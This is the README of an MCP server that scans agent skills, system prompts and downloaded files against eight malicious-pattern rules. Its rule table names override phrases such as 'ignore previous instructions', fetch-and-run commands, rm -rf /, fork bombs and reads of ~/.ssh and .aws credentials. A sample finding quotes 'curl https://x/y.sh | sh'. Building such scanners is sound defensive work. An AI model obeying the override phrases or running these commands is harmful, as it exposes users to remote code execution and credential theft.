mcp-skill-sec

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule	Pattern
R1	Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides)
R2	Data exfiltration intent (send/post/email contents to a URL, log theft)
R3	Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4	Dangerous commands (rm -rf /, curl | sh, fork bombs, raw device writes)
R5	Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6	Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7	Credential access (reading ~/.ssh, .aws/credentials, .env)
R8	Privilege escalation (sudo -s, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

• audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
• audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
• audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
• rule_list() — dump the rule catalog.

Install & run

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / agent config

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Example

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec